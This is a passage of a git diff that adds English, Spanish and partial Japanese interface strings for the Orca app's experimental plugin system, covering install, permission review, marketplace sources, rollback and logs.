+        "PluginRemoveDialog": {
+          "title": "Remove plugin?",
+          "description": "This removes {{value0}} and its stored plugin data from this computer. You can install it again later.",
+          "cancel": "Cancel",
+          "remove": "Remove plugin"
+        },
+        "PluginSettingsRow": {
+          "needsReview": "Needs review",
+          "invalid": "Invalid",
+          "error": "Error",
+          "disabled": "Disabled",
+          "running": "Running",
+          "enabled": "Enabled",
+          "workerTier": "background worker",
+          "panelTier": "panel only",
+          "loadingLogs": "Loading logs…",
+          "noLogs": "No log lines recorded.",
+          "logCount": "Last {{value0}} of up to 200 retained lines",
+          "dev": "Dev",
+          "review": "Review permissions",
+          "moreActions": "More actions for {{value0}}",
+          "hideLogs": "Hide logs",
+          "viewLogs": "View logs",
+          "remove": "Remove",
+          "enableLabel": "Enable {{value0}}",
+          "restartCount": " · {{value0}} restarts",
+          "restarting": "Restarting",
+          "invalidPluginError": "The plugin manifest or installed files are invalid. Fix the plugin, then refresh.",
+          "runtimeError": "The plugin stopped after an activation or worker error.",
+          "disableLabel": "Disable {{value0}}",
+          "blocked": "Blocked",
+          "official": "Official",
+          "bundled": "Bundled",
+          "killListMessage": "Orca's safety list disabled this plugin: {{value0}}",
+          "viewAdvisory": "View advisory",
+          "rollback": "Roll back",
+          "noDescription": "No description provided.",
+          "reviewAndEnable": "Review & enable"
+        },
+        "PluginsSettingsSection": {
+          "loadFailed": "Could not load plugins.",
+          "logsFailed": "Could not load plugin logs.",
+          "title": "Plugins",
+          "experimental": "Experimental",
+          "description": "Install and manage Orca plugins. Plugins run on this computer, even for SSH workspaces.",
+          "install": "Install plugin",
+          "systemLabel": "Plugin system",
+          "systemDescription": "Discovers installed plugins and lets you enable them individually. Nothing runs until you review and enable it. Workers always run on this computer; SSH workspace actions route through Orca.",
+          "featureOff": "Turn on the plugin system to see and manage installed plugins. Anything already installed stays on disk and stays disabled while the system is off.",
+          "loading": "Loading plugins…",
+          "installed": "Installed",
+          "refresh": "Refresh",
+          "tryAgain": "Try again",
+          "empty": "No plugins installed. Use Install plugin to add one from a local folder or a pinned git ref.",
+          "settingsUpdateFailed": "Could not save plugin settings.",
+          "rollbackFailed": "Could not roll back this plugin. A previous immutable version may not be available.",
+          "noInstalledResults": "No installed plugins match this search.",
+          "noInstalledResultsTitle": "No matching plugins",
+          "emptyTitle": "No plugins installed yet"
+        },
+        "plugins": {
+          "search": {
+            "title": "Plugins",
+            "description": "Install and manage experimental Orca plugins.",
+            "install": "install plugin",
+            "permissions": "plugin permissions",
+            "logs": "plugin logs",
+            "development": "development plugins"
+          }
+        },
+        "pluginError": {
+          "installManifestMissing": "No readable orca-plugin.json was found. Choose the plugin's root folder.",
+          "installManifestInvalid": "orca-plugin.json is invalid. Ask the plugin author to fix the manifest.",
+          "incompatible": "This plugin requires a different Orca version.",
+          "installUnsafePath": "The plugin contains an unsafe file path or symlink and was not installed.",
+          "installLimit": "The plugin exceeds Orca's install size or file-count limits.",
+          "installGit": "Orca could not fetch the pinned Git revision. Check the URL, #ref, access, and system Git setup.",
+          "invalidManifestMissing": "The plugin root is missing orca-plugin.json. Add it, then refresh plugins.",
+          "invalidManifest": "orca-plugin.json is invalid. Fix it, then refresh plugins.",
+          "invalidArtifact": "A declared worker or panel file is missing or unsafe. Fix the plugin files, then refresh.",
+          "consentChanged": "The plugin changed while you were reviewing it. Close this dialog and review the updated permissions."
+        },
+        "PluginVmRecipeConsentPreview": {
+          "create": "Create",
+          "suspend": "Suspend",
+          "resume": "Resume",
+          "destroy": "Destroy",
+          "warning": "This plugin installs VM recipes. Orca runs the commands below on your local desktop host when you use the matching lifecycle action.",
+          "commandLabel": "{{value0}} · {{value1}} command",
+          "heading": "VM recipe commands"
+        },
+        "PluginKeybindingConsentPreview": {
+          "warning": "This plugin adds keyboard shortcuts. Plugin shortcuts take priority over matching Orca shortcuts while the plugin is enabled.",
+          "heading": "Keyboard shortcuts",
+          "worktree": "Runs only while a workspace is active.",
+          "global": "Runs in the app without requiring an active workspace.",
+          "shadows": "Replaces: {{value0}}"
+        },
+        "PluginMarketplaceBrowser": {
+          "loadFailed": "Could not load marketplace plugins.",
+          "refreshFailed": "Could not refresh marketplaces. Cached listings remain available.",
+          "previewFailed": "Could not prepare this plugin for review. Refresh the marketplace and try again.",
+          "installFailed": "Could not install this plugin. The reviewed source may have changed.",
+          "heading": "Marketplace",
+          "manageSources": "Manage sources",
+          "refreshing": "Refreshing…",
+          "refresh": "Refresh",
+          "loading": "Loading marketplace plugins…",
+          "searchLabel": "Search marketplace plugins",
+          "searchPlaceholder": "Search plugins, categories, or publishers",
+          "tryAgain": "Try again",
+          "noSources": "Add an official, community, or private Git marketplace to browse plugins.",
+          "addSource": "Add marketplace",
+          "noResults": "No marketplace plugins match this search.",
+          "empty": "The configured marketplaces do not list any plugins.",
+          "noInstalled": "No plugins installed.",
+          "noInstalledTitle": "No plugins installed",
+          "noSourcesTitle": "No marketplaces configured",
+          "noResultsTitle": "No matching plugins",
+          "clearSearch": "Clear search",
+          "emptyTitle": "Nothing listed yet"
+        },
+        "PluginMarketplaceListingRow": {
+          "official": "Official",
+          "bundled": "Bundled",
+          "installed": "Installed",
+          "marketplace": "{{value0}} · {{value1}}",
+          "blocked": "Blocked by Orca's safety list: {{value0}}",
+          "blockedAction": "Blocked",
+          "checkUpdate": "Check for update",
+          "installedAction": "Installed",
+          "review": "Review",
+          "noDescription": "No description provided.",
+          "install": "Install"
+        },
+        "PluginMarketplacePreviewDialog": {
+          "languagePacks": "{{value0}} language packs",
+          "commands": "{{value0}} commands",
+          "keybindings": "{{value0}} keyboard shortcuts",
+          "vmRecipes": "{{value0}} VM recipes",
+          "panels": "{{value0}} panels",
+          "events": "{{value0}} event subscriptions",
+          "worker": "Background worker",
+          "official": "Official",
+          "bundled": "Bundled",
+          "subtitle": "{{value0}} v{{value1}} · {{value2}}",
+          "source": "Plugin source",
+          "commit": "Pinned commit",
+          "marketplaceCommit": "Index commit",
+          "includes": "Includes",
+          "noContributions": "Manifest metadata only",
+          "capabilities": "Requested access",
+          "workerWarning": "Capabilities limit how this plugin uses Orca's API. Its worker still runs as a normal process on this computer with full access to your files, network, and other processes.",
+          "blocked": "Orca's safety list blocks this plugin: {{value0}}",
+          "current": "This exact plugin content is already installed.",
+          "cancel": "Cancel",
+          "update": "Update plugin",
+          "install": "Install plugin",
+          "provenance": "Reviewed source",
+          "close": "Close",
+          "upToDate": "Up to date",
+          "languagePacksOne": "1 language pack",
+          "commandsOne": "1 command",
+          "keybindingsOne": "1 keyboard shortcut",
+          "vmRecipesOne": "1 VM recipe",
+          "panelsOne": "1 panel",
+          "eventsOne": "1 event subscription",
+          "versionLine": "v{{value0}} · {{value1}}"
+        },
+        "PluginMarketplaceSourceDialog": {
+          "addFailed": "Could not add this marketplace. Check the Git URL, ref, and your Git credentials.",
+          "refreshFailed": "Could not refresh this marketplace. Its last valid cached index is still available.",
+          "removeFailed": "Could not remove this marketplace.",
+          "title": "Marketplace sources",
+          "description": "Marketplaces are pinned Git repositories. Orca uses your existing system Git credentials for private repositories.",
+          "urlLabel": "Git URL",
+          "urlDescription": "Use an HTTPS or SSH repository URL containing orca-marketplace.json.",
+          "refLabel": "Git ref",
+          "refDescription": "Choose a branch, tag, or commit. Every fetched index is recorded at an exact commit.",
+          "adding": "Adding…",
+          "add": "Add source",
+          "configured": "Configured sources",
+          "empty": "No marketplace sources configured.",
+          "owner": "Owner: {{value0}}",
+          "pinnedCommit": "Pinned at {{value0}}",
+          "stale": "Refresh failed. Browsing the last valid cached index.",
+          "refreshLabel": "Refresh {{value0}}",
+          "removeLabel": "Remove {{value0}}",
+          "done": "Done",
+          "urlPlaceholder": "https://git.example.com/team/plugins.git",
+          "official": "Official"
+        },
+        "PluginRollbackDialog": {
+          "title": "Roll back plugin?",
+          "description": "This deactivates {{value0}} and restores its previous immutable version. If that version requests different access or instructional content, Orca will require another review.",
+          "cancel": "Cancel",
+          "confirm": "Roll back plugin"
+        },
+        "PluginConsentProvenance": {
+          "official": "Official",
+          "bundled": "Bundled with Orca",
+          "local": "Local folder",
+          "community": "Community",
+          "source": "Source",
+          "sourceLabel": "Source",
+          "commit": "Pinned commit",
+          "localCommit": "Local folder — no commit",
+          "indexCommit": "Index commit"
+        },
         "MobileRelayStatusSection": {
           "registered": "Registered",
           "connecting": "Connecting",
@@ -10310,6 +10597,12 @@
             "folderWorkspaces": "Attached worktrees",
             "parentPrChecks": "PR Checks"
           },
+          "PluginPanel": {
+            "loading": "Loading plugin panel...",
+            "unavailable": "This plugin panel is no longer available.",
+            "loadFailed": "The plugin panel could not be loaded.",
+            "unresponsive": "This plugin panel stopped responding and was suspended."
+          },
           "right": {
             "panel": {
               "comment": {
@@ -10715,6 +11008,9 @@
             "notAuthorized": "Couldn't open log — path not authorized.",
             "alreadyEditable": "Log is already open for editing."
           },
+          "activityBar": {
+            "error": "Error"
+          },
           "github": {
             "refresh": {
               "error": {
@@ -12697,6 +12993,10 @@
                 "project": "Project"
               }
             }
+          },
+          "pluginQuickActions": {
+            "description": "{{value0}} plugin command",
+            "keyword": "plugin command"
           }
         }
       },
@@ -13320,6 +13620,11 @@
             "noPr": "No PR",
             "unavailable": "Unavailable"
           }
+        },
+        "pluginPanelBridgeHost": {
+          "actionsUnavailable": "Plugin actions are not available in this client.",
+          "messageTooLarge": "Message exceeds the size limit.",
+          "tooManyRequests": "Too many requests."
         }
       },
       "link": {
@@ -13597,6 +13902,17 @@
         "searchAssignee": "Filter assignee…",
         "back": "Back"
       },
+      "pluginCatalog": {
+        "PluginCatalogLayout": {
+          "title": "Plugins",
+          "description": "Browse available plugins or manage the ones installed in Orca.",
+          "filter": "Plugin filter",
+          "all": "All",
+          "installed": "Installed",
+          "searchLabel": "Search plugins",
+          "searchPlaceholder": "Search plugins, categories, or publishers"
+        }
+      },
       "browser-pane": {
         "markup": {
           "cancel": "Cancel",
diff --git a/src/renderer/src/i18n/locales/es.json b/src/renderer/src/i18n/locales/es.json
index 0af2565aa..23b52f446 100644
--- a/src/renderer/src/i18n/locales/es.json
+++ b/src/renderer/src/i18n/locales/es.json
@@ -132,7 +132,8 @@
       "fe21e8f6f5": "Volver ({{value0}})",
       "064bd07810": "Volver",
       "ce37cf5279": "Alternar barra lateral ({{value0}})",
-      "e4b9e7dff7": "Alternar barra lateral"
+      "e4b9e7dff7": "Alternar barra lateral",
+      "pluginCommandFailed": "No se pudo ejecutar el comando del plugin."
     },
     "web": {
       "WebConnect": {
@@ -592,6 +593,9 @@
           }
         }
       },
+      "pluginCommandKeybindings": {
+        "group": "Plugins"
+      },
       "linear": {
         "usage": {
           "examples": {
@@ -734,6 +738,8 @@
         "devSearchKeywordSonner": "sonner",
         "devSearchKeywordError": "error",
         "devSearchKeywordNotification": "notification",
+        "pluginsTitle": "Plugins",
+        "pluginsDescription": "Instala y administra plugins experimentales de Orca.",
         "projectHostsSummary": "{{value0}} hosts",
         "linearTitle": "Linear",
         "linearDescription": "Give agents the skill to read and update your linked Linear tickets."
@@ -1913,7 +1919,8 @@
         "workspaceTabMissing": "La pestaña ya no existe",
         "projectsGroupsHeader": "Proyectos y grupos",
         "projectBadge": "Proyecto",
-        "repoGroupBadge": "Grupo de repositorios"
+        "repoGroupBadge": "Grupo de repositorios",
+        "pluginCommandFailed": "No se pudo ejecutar el comando del plugin."
       },
       "github": {
         "pr": {
@@ -6703,7 +6710,8 @@
           "25b0004fbf": "Terminal activa",
           "781cb74d22": "Se ejecuta desde paneles de terminal.",
           "cb02e00202": "Terminal",
-          "d8c988dab4": "~/.orca/keybindings.json"
+          "d8c988dab4": "~/.orca/keybindings.json",
+          "shortcutUnavailable": "El atajo ya no está disponible."
         },
         "SourceControlAiActionRecipeDefaults": {
           "2576299196": "argumentos",
@@ -9238,7 +9246,7 @@
           "copy": "Copiar",
           "copied": "Copiado",
           "recipes": "Recetas",
-          "recipesHelp": "Las recetas que tu agente agrega a orca.yaml aparecen aquí, listas para iniciar un espacio de trabajo.",
+          "recipesHelp": "Las recetas de orca.yaml y de los plugins activados aparecen aquí, listas para iniciar un espacio de trabajo.",
           "refresh": "Actualizar recetas de VMs efímeras",
           "checking": "Comprobando recetas…",
           "none": "Aún no se han encontrado recetas."
@@ -9310,6 +9318,285 @@
           "567633ff50": "Right-click pastes the clipboard into the terminal. Control-click to open the context menu.",
           "c64497148a": "Right-click pastes the clipboard. Control-click opens the context menu."
         },
+        "PluginConsentDialog": {
+          "workerTrust": "Proceso en segundo plano — se ejecuta en su propio proceso",
+          "panelTrust": "Panel o contenido integrado con el host — sin proceso en segundo plano",
+          "decisionFailed": "No se pudo guardar la decisión sobre los permisos. Inténtalo de nuevo.",
+          "title": "Revisar permisos",
+          "mixedTitle": "Revisar acceso y contenido",
+          "instructionalTitle": "Revisar el contenido del plugin",
+          "subtitle": "{{value0}} v{{value1}} · {{value2}}",
+          "reconsent": "Los permisos, el nivel de confianza del proceso o el contenido instructivo cambiaron desde la última revisión de este plugin. Revísalo de nuevo antes de ejecutarlo.",
+          "source": "Origen",
+          "unknownSource": "No disponible",
+          "commit": "Commit",
+          "localCommit": "No disponible (carpeta local)",
+          "trust": "Nivel de confianza",
+          "capabilities": "Este plugin puede",
+          "warning": "Estos permisos limitan cómo usa el plugin la API de Orca. Su proceso se ejecuta como un proceso normal en tu equipo, con acceso completo a tus archivos, red y otros procesos.",
+          "enable": "Activar plugin",
+          "keepDisabled": "Mantener desactivado",
+          "panelWarning": "Estos permisos limitan cómo usa el plugin la API de Orca. Este plugin no tiene ningún proceso en segundo plano.",
+          "instructionalWarning": "Este plugin no tiene ningún proceso en segundo plano. Aun así, su contenido instructivo puede provocar acciones cuando tú o un agente lo usen. Revisa las instrucciones y los comandos siguientes antes de habilitarlo.",
+          "capability": {
+            "workspaceRead": "Leer el nombre, la rama y la lista de terminales del worktree seleccionado",
+            "terminalSend": "Escribir texto en una terminal visible (siempre en una terminal específica)",
+            "notificationsShow": "Mostrar notificaciones de escritorio con el nombre del plugin",
+            "storage": "Guardar datos en la carpeta de almacenamiento propia del plugin",
+            "secrets": "Guardar y leer secretos en la bóveda cifrada propia del plugin",
+            "eventsSubscribe": "Recibir avisos cuando se creen o eliminen worktrees y cuando cambie el estado de un agente",
+            "settingsOwn": "Leer y cambiar la configuración propia del plugin"
+          },
+          "skillWarning": "Este plugin instala habilidades con instrucciones. Los agentes leen esas instrucciones y pueden actuar con toda la autoridad que les concedas.",
+          "instructionalTrust": "Contenido instructivo — se ejecuta más tarde con la autoridad del usuario o del agente",
+          "declarativeTrust": "Declarative content — no plugin code",
+          "reviewTitle": "Review plugin",
+          "declarativeWarning": "This plugin contributes validated content only. It does not run a background worker or receive access to Orca's API.",
+          "trustShortWorker": "Worker",
+          "trustShortInstructional": "Instructional",
+          "trustShortPanel": "Panel",
+          "trustShortDeclarative": "Declarative"
+        },
+        "PluginDevelopmentSection": {
+          "pathRequired": "Introduce la ruta de una carpeta de plugin.",
+          "title": "Desarrollo",
+          "help": "Carga plugins directamente desde carpetas de este equipo mientras los desarrollas. Los plugins de desarrollo también requieren revisar los permisos. Sus procesos se ejecutan en este equipo; las acciones de espacios de trabajo SSH se enrutan mediante Orca, por lo que estas rutas son rutas del equipo local.",
+          "remove": "Eliminar",
+          "placeholder": "/Users/you/plugins/my-plugin or C:\\Users\\you\\plugins\\my-plugin",
+          "add": "Añadir ruta",
+          "saveFailed": "No se pudieron guardar las rutas de plugins de desarrollo.",
+          "pathLabel": "Ruta de la carpeta del plugin de desarrollo"
+        },
+        "PluginInstallDialog": {
+          "localRequired": "Introduce la ruta de la carpeta del plugin.",
+          "gitUrlRequired": "Introduce una URL de repositorio.",
+          "gitRefRequired": "Añade una #ref explícita (etiqueta o commit) para fijar la instalación; por ejemplo, #v0.1.0.",
+          "installFailed": "No se pudo instalar el plugin. Comprueba el origen e inténtalo de nuevo.",
+          "title": "Instalar plugin",
+          "description": "La instalación copia el plugin en Orca y muestra sus permisos para que los revises. No se ejecuta ningún código del plugin hasta que lo actives.",
+          "source": "Origen de instalación",
+          "localTab": "Carpeta local",
+          "gitTab": "Git URL",
+          "localLabel": "Ruta de la carpeta del plugin",
+          "localPlaceholder": "/Users/you/plugins/my-plugin or C:\\Users\\you\\plugins\\my-plugin",
+          "localHelp": "Ruta completa a una carpeta de este equipo que contenga orca-plugin.json. La ruta se usa exactamente como se introduce.",
+          "gitLabel": "URL del repositorio con #ref",
+          "gitPlaceholder": "https://git.example/acme/orca-notes#v0.1.0",
+          "gitHelp": "Añade una #ref explícita —una etiqueta o commit— para fijar la instalación. Funciona con GitHub, GitLab y cualquier servidor Git.",
+          "cancel": "Cancelar",
+          "installing": "Instalando…",
+          "install": "Instalar",
+          "gitUrlInvalid": "Usa una URL de Git HTTPS o SSH. No se permiten protocolos auxiliares ejecutables de Git."
+        },
+        "PluginRemoveDialog": {
+          "title": "¿Eliminar plugin?",
+          "description": "Esto elimina {{value0}} y los datos guardados del plugin en este equipo. Puedes volver a instalarlo más adelante.",
+          "cancel": "Cancelar",
+          "remove": "Eliminar plugin"
+        },
+        "PluginSettingsRow": {
+          "needsReview": "Requiere revisión",
+          "invalid": "No válido",
+          "error": "Error",
+          "disabled": "Desactivado",
+          "running": "En ejecución",
+          "enabled": "Activado",
+          "workerTier": "proceso en segundo plano",
+          "panelTier": "solo panel",
+          "loadingLogs": "Cargando registros…",
+          "noLogs": "No hay líneas de registro.",
+          "logCount": "Últimas {{value0}} de hasta 200 líneas conservadas",
+          "dev": "Desarrollo",
+          "review": "Revisar permisos",
+          "moreActions": "Más acciones para {{value0}}",
+          "hideLogs": "Ocultar registros",
+          "viewLogs": "Ver registros",
+          "remove": "Eliminar",
+          "enableLabel": "Activar {{value0}}",
+          "restartCount": " · {{value0}} reinicios",
+          "restarting": "Reiniciando",
+          "invalidPluginError": "El manifiesto o los archivos instalados del plugin no son válidos. Corrige el plugin y actualiza.",
+          "runtimeError": "El plugin se detuvo tras un error de activación o del proceso.",
+          "disableLabel": "Desactivar {{value0}}",
+          "blocked": "Bloqueado",
+          "official": "Oficial",
+          "bundled": "Incluido",
+          "killListMessage": "La lista de seguridad de Orca desactivó este plugin: {{value0}}",
+          "viewAdvisory": "Ver aviso",
+          "rollback": "Revertir",
+          "noDescription": "No description provided.",
+          "reviewAndEnable": "Review & enable"
+        },
+        "PluginsSettingsSection": {
+          "loadFailed": "No se pudieron cargar los plugins.",
+          "logsFailed": "No se pudieron cargar los registros del plugin.",
+          "title": "Plugins",
+          "experimental": "Experimental",
+          "description": "Instala y administra plugins de Orca. Los plugins se ejecutan en este equipo, incluso en espacios de trabajo SSH.",
+          "install": "Instalar plugin",
+          "systemLabel": "Sistema de plugins",
+          "systemDescription": "Descubre los plugins instalados y permite activarlos por separado. Nada se ejecuta hasta que lo revises y actives. Sus procesos siempre se ejecutan en este equipo; las acciones de espacios de trabajo SSH se enrutan mediante Orca.",
+          "featureOff": "Activa el sistema de plugins para ver y administrar los plugins instalados. Todo lo que ya esté instalado permanece en el disco y desactivado mientras el sistema esté apagado.",
+          "loading": "Cargando plugins…",
+          "installed": "Instalados",
+          "refresh": "Actualizar",
+          "tryAgain": "Intentar de nuevo",
+          "empty": "No hay plugins instalados. Usa Instalar plugin para añadir uno desde una carpeta local o una referencia Git fijada.",
+          "settingsUpdateFailed": "No se pudo guardar la configuración de plugins.",
+          "rollbackFailed": "No se pudo revertir este plugin. Es posible que no haya una versión inmutable anterior disponible.",
+          "noInstalledResults": "No installed plugins match this search.",
+          "noInstalledResultsTitle": "No matching plugins",
+          "emptyTitle": "No plugins installed yet"
+        },
+        "plugins": {
+          "search": {
+            "title": "Plugins",
+            "description": "Instala y administra plugins experimentales de Orca.",
+            "install": "instalar plugin",
+            "permissions": "permisos de plugins",
+            "logs": "registros de plugins",
+            "development": "plugins de desarrollo"
+          }
+        },
+        "pluginError": {
+          "installManifestMissing": "No se encontró un orca-plugin.json legible. Elige la carpeta raíz del plugin.",
+          "installManifestInvalid": "orca-plugin.json no es válido. Pide al autor del plugin que corrija el manifiesto.",
+          "incompatible": "Este plugin requiere otra versión de Orca.",
+          "installUnsafePath": "El plugin contiene una ruta de archivo o un enlace simbólico no seguros y no se instaló.",
+          "installLimit": "El plugin supera los límites de tamaño o cantidad de archivos de Orca.",
+          "installGit": "Orca no pudo obtener la revisión Git fijada. Comprueba la URL, la #ref, el acceso y la configuración de Git del sistema.",
+          "invalidManifestMissing": "A la raíz del plugin le falta orca-plugin.json. Añádelo y actualiza los plugins.",
+          "invalidManifest": "orca-plugin.json no es válido. Corrígelo y actualiza los plugins.",
+          "invalidArtifact": "Falta un archivo de proceso o panel declarado, o no es seguro. Corrige los archivos del plugin y actualiza.",
+          "consentChanged": "El plugin cambió mientras lo revisabas. Cierra este diálogo y revisa los permisos actualizados."
+        },
+        "PluginVmRecipeConsentPreview": {
+          "create": "Crear",
+          "suspend": "Suspender",
+          "resume": "Reanudar",
+          "destroy": "Destruir",
+          "warning": "Este plugin instala recetas de VM. Orca ejecuta los comandos siguientes en el equipo local cuando usas la acción de ciclo de vida correspondiente.",
+          "commandLabel": "{{value0}} · comando de {{value1}}",
+          "heading": "Comandos de recetas de VM"
+        },
+        "PluginKeybindingConsentPreview": {
+          "warning": "Este plugin añade atajos de teclado. Los atajos del plugin tienen prioridad sobre los atajos coincidentes de Orca mientras el plugin está activado.",
+          "heading": "Atajos de teclado",
+          "worktree": "Solo se ejecuta mientras hay un espacio de trabajo activo.",
+          "global": "Se ejecuta en la aplicación sin requerir un espacio de trabajo activo.",
+          "shadows": "Reemplaza: {{value0}}"
+        },
+        "PluginMarketplaceBrowser": {
+          "loadFailed": "No se pudieron cargar los plugins del marketplace.",
+          "refreshFailed": "No se pudieron actualizar los marketplaces. Los listados en caché siguen disponibles.",
+          "previewFailed": "No se pudo preparar este plugin para revisarlo. Actualiza el marketplace e inténtalo de nuevo.",
+          "installFailed": "No se pudo instalar este plugin. Es posible que la fuente revisada haya cambiado.",
+          "heading": "Marketplace",
+          "manageSources": "Gestionar fuentes",
+          "refreshing": "Actualizando…",
+          "refresh": "Actualizar",
+          "loading": "Cargando plugins del marketplace…",
+          "searchLabel": "Buscar plugins del marketplace",
+          "searchPlaceholder": "Buscar plugins, categorías o editores",
+          "tryAgain": "Intentar de nuevo",
+          "noSources": "Añade un marketplace de Git oficial, comunitario o privado para explorar plugins.",
+          "addSource": "Añadir marketplace",
+          "noResults": "Ningún plugin del marketplace coincide con esta búsqueda.",
+          "empty": "Los marketplaces configurados no incluyen ningún plugin.",
+          "noInstalled": "No plugins installed.",
+          "noInstalledTitle": "No plugins installed",
+          "noSourcesTitle": "No marketplaces configured",
+          "noResultsTitle": "No matching plugins",
+          "clearSearch": "Clear search",
+          "emptyTitle": "Nothing listed yet"
+        },
+        "PluginMarketplaceListingRow": {
+          "official": "Oficial",
+          "bundled": "Incluido",
+          "installed": "Instalado",
+          "marketplace": "{{value0}} · {{value1}}",
+          "blocked": "Bloqueado por la lista de seguridad de Orca: {{value0}}",
+          "blockedAction": "Bloqueado",
+          "checkUpdate": "Buscar actualización",
+          "installedAction": "Instalado",
+          "review": "Revisar",
+          "noDescription": "No description provided.",
+          "install": "Install"
+        },
+        "PluginMarketplacePreviewDialog": {
+          "languagePacks": "{{value0}} paquetes de idioma",
+          "commands": "{{value0}} comandos",
+          "keybindings": "{{value0}} atajos de teclado",
+          "vmRecipes": "{{value0}} recetas de VM",
+          "panels": "{{value0}} paneles",
+          "events": "{{value0}} suscripciones a eventos",
+          "worker": "Proceso en segundo plano",
+          "official": "Oficial",
+          "bundled": "Incluido",
+          "subtitle": "{{value0}} v{{value1}} · {{value2}}",
+          "source": "Fuente del plugin",
+          "commit": "Commit fijado",
+          "marketplaceCommit": "Commit del índice",
+          "includes": "Incluye",
+          "noContributions": "Solo metadatos del manifiesto",
+          "capabilities": "Acceso solicitado",
+          "workerWarning": "Las capacidades limitan cómo usa este plugin la API de Orca. Su proceso sigue ejecutándose como un proceso normal en este ordenador, con acceso completo a tus archivos, red y otros procesos.",
+          "blocked": "La lista de seguridad de Orca bloquea este plugin: {{value0}}",
+          "current": "Este contenido exacto del plugin ya está instalado.",
+          "cancel": "Cancelar",
+          "update": "Actualizar plugin",
+          "install": "Instalar plugin",
+          "provenance": "Reviewed source",
+          "close": "Close",
+          "upToDate": "Up to date",
+          "languagePacksOne": "1 language pack",
+          "commandsOne": "1 command",
+          "keybindingsOne": "1 keyboard shortcut",
+          "vmRecipesOne": "1 VM recipe",
+          "panelsOne": "1 panel",
+          "eventsOne": "1 event subscription",
+          "versionLine": "v{{value0}} · {{value1}}"
+        },
+        "PluginMarketplaceSourceDialog": {
+          "addFailed": "No se pudo añadir este marketplace. Comprueba la URL de Git, la referencia y tus credenciales de Git.",
+          "refreshFailed": "No se pudo actualizar este marketplace. Su último índice válido en caché sigue disponible.",
+          "removeFailed": "No se pudo eliminar este marketplace.",
+          "title": "Fuentes de marketplace",
+          "description": "Los marketplaces son repositorios de Git fijados. Orca usa tus credenciales existentes del Git del sistema para los repositorios privados.",
+          "urlLabel": "Git URL",
+          "urlDescription": "Usa la URL HTTPS o SSH de un repositorio que contenga orca-marketplace.json.",
+          "refLabel": "Referencia de Git",
+          "refDescription": "Elige una rama, etiqueta o commit. Cada índice obtenido se registra en un commit exacto.",
+          "adding": "Añadiendo…",
+          "add": "Añadir fuente",
+          "configured": "Fuentes configuradas",
+          "empty": "No hay fuentes de marketplace configuradas.",
+          "owner": "Propietario: {{value0}}",
+          "pinnedCommit": "Fijado en {{value0}}",
+          "stale": "La actualización falló. Se muestra el último índice válido en caché.",
+          "refreshLabel": "Actualizar {{value0}}",
+          "removeLabel": "Eliminar {{value0}}",
+          "done": "Listo",
+          "urlPlaceholder": "https://git.example.com/team/plugins.git",
+          "official": "Oficial"
+        },
+        "PluginRollbackDialog": {
+          "title": "¿Revertir el plugin?",
+          "description": "Esto desactiva {{value0}} y restaura su versión inmutable anterior. Si esa versión solicita otro acceso o contenido instructivo, Orca requerirá una nueva revisión.",
+          "cancel": "Cancelar",
+          "confirm": "Revertir plugin"
+        },
+        "PluginConsentProvenance": {
+          "official": "Official",
+          "bundled": "Bundled with Orca",
+          "local": "Local folder",
+          "community": "Community",
+          "source": "Source",
+          "sourceLabel": "Source",
+          "commit": "Pinned commit",
+          "localCommit": "Local folder — no commit",
+          "indexCommit": "Index commit"
+        },
         "MobileRelayStatusSection": {
           "registered": "Registered",
           "connecting": "Connecting",
@@ -10692,6 +10979,15 @@
             "notAuthorized": "Couldn't open log — path not authorized.",
             "alreadyEditable": "Log is already open for editing."
           },
+          "PluginPanel": {
+            "loading": "Cargando el panel del plugin...",
+            "unavailable": "Este panel de plugin ya no está disponible.",
+            "loadFailed": "No se pudo cargar el panel del plugin.",
+            "unresponsive": "El panel del plugin dejó de responder y se suspendió."
+          },
+          "activityBar": {
+            "error": "Error"
+          },
           "github": {
             "refresh": {
               "error": {
@@ -12674,6 +12970,10 @@
                 "project": "Proyecto"
               }
             }
+          },
+          "pluginQuickActions": {
+            "description": "Comando del plugin {{value0}}",
+            "keyword": "comando del plugin"
           }
         }
       },
@@ -13297,6 +13597,11 @@
             "noPr": "Sin PR",
             "unavailable": "No disponible"
           }
+        },
+        "pluginPanelBridgeHost": {
+          "actionsUnavailable": "Las acciones de plugins no están disponibles en este cliente.",
+          "messageTooLarge": "El mensaje supera el límite de tamaño.",
+          "tooManyRequests": "Demasiadas solicitudes."
         }
       },
       "link": {
@@ -13574,6 +13879,17 @@
         "searchAssignee": "Filtrar asignatario…",
         "back": "Atrás"
       },
+      "pluginCatalog": {
+        "PluginCatalogLayout": {
+          "title": "Plugins",
+          "description": "Browse available plugins or manage the ones installed in Orca.",
+          "filter": "Plugin filter",
+          "all": "All",
+          "installed": "Installed",
+          "searchLabel": "Search plugins",
+          "searchPlaceholder": "Search plugins, categories, or publishers"
+        }
+      },
       "browser-pane": {
         "markup": {
           "cancel": "Cancelar",
diff --git a/src/renderer/src/i18n/locales/ja.json b/src/renderer/src/i18n/locales/ja.json
index 687ef61b7..145b4d579 100644
--- a/src/renderer/src/i18n/locales/ja.json
+++ b/src/renderer/src/i18n/locales/ja.json
@@ -132,7 +132,8 @@
       "fe21e8f6f5": "戻る ({{value0}})",
       "064bd07810": "戻る",
       "ce37cf5279": "サイドバーの切り替え ({{value0}})",
-      "e4b9e7dff7": "サイドバーの切り替え"
+      "e4b9e7dff7": "サイドバーの切り替え",
+      "pluginCommandFailed": "プラグインのコマンドを実行できませんでした。"
     },
     "web": {
       "WebConnect": {
@@ -592,6 +593,9 @@
           }
         }
       },
+      "pluginCommandKeybindings": {
+        "group": "Plugins"
+      },
       "linear": {
         "usage": {
           "examples": {
@@ -734,6 +738,8 @@
         "devSearchKeywordSonner": "sonner",
         "devSearchKeywordError": "error",
         "devSearchKeywordNotification": "notification",
+        "pluginsTitle": "プラグイン",
+        "pluginsDescription": "試験的な Orca プラグインをインストールして管理します。",
         "projectHostsSummary": "{{value0}} 台のホスト",
         "linearTitle": "Linear",
         "linearDescription": "Give agents the skill to read and update your linked Linear tickets."
@@ -1913,7 +1919,8 @@
         "workspaceTabMissing": "タブはもう存在しません",
         "projectsGroupsHeader": "プロジェクトとグループ",
         "projectBadge": "プロジェクト",
-        "repoGroupBadge": "リポジトリグループ"
+        "repoGroupBadge": "リポジトリグループ",
+        "pluginCommandFailed": "プラグインのコマンドを実行できませんでした。"
       },
       "github": {
         "pr": {
@@ -6725,7 +6732,8 @@
           "25b0004fbf": "Terminal がアクティブです",
           "781cb74d22": "terminal ペインから実行します。",
           "cb02e00202": "ターミナル",
-          "d8c988dab4": "~/.orca/keybindings.json"
